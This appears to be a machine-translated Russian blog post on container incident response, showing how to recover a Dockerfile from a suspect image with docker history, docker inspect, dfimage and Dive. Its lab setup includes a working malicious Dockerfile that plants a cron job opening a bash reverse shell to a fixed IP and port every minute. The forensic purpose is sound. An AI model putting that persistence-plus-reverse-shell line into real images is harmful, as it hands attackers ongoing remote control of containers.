01. Обзор
Когда дело доходит до безопасности образов контейнеров, особенно когда происходят инциденты безопасности, вызванные заражением образа, отслеживание источника образа и анализ Dockerfile являются ключевыми шагами в экстренной обработке инцидентов. В этом блоге мы рассмотрим, как получить файлы Dockerfile в результате анализа изображений, что имеет решающее значение для безопасности контейнера.
02. Подготовка среды
Используйте Dockfile для создания вредоносного образа, который восстанавливает оболочку:
FROM ubuntu:20.04
RUN apt-get update &&\
apt-get install -y cron &&\
(echo '* * * * * bash -c "bash -i >& /dev/tcp/192.168.99.242/12345 0>&1"'; crontab -l )| crontab
ENTRYPOINT ["cron","-f","&&"]
CMD ["/bin/bash"]
03. Анализ изображения Dockerfile
3.1 Анализ файла изображения
В метаданных образа перейдите к файлу Dockerfile, используемому для создания образа. Вы можете успешно проанализировать образ Docker и получить его содержимое Dockerfile, чтобы понять процесс создания образа, а также представленные пакеты программного обеспечения и конфигурации.
docker save -o test.tar test:v1.0
tar -xvf test.tar
3.2 параметры команды докера
Используйте команду docker History, чтобы просмотреть историю создания указанного изображения. Вы можете добавить --no-trunc, чтобы просмотреть всю информацию.
docker history test:v1.0
docker history test:v1.0 --no-trunc
Используйте команду Docker Inspect для просмотра подробной информации об образе Docker. Вы можете самостоятельно определить выходную информацию с помощью параметра --format, чтобы получить информацию о конфигурации образа.
#Просмотр информации о конфигурации зеркала
проверка докера --format='{{json .Config}}' test:v1.0
3.3 dfimage
dfimage — сторонний инструмент, который можно использовать для извлечения файлов Dockerfile из изображений.
(1) Создайте ярлыки и используйте dfimage для вывода очень подробного файла Dockerfile.
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 test:v1.0
3.4 Инструмент анализа изображений Docker Dive
Dive — это инструмент анализа изображений Docker, который анализирует и просматривает внутреннюю часть образов контейнеров Docker, и вы можете увидеть изменения в каждом слое файлов в мельчайших подробностях.
alias dive="docker run -ti --rm -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
dive test:v1.0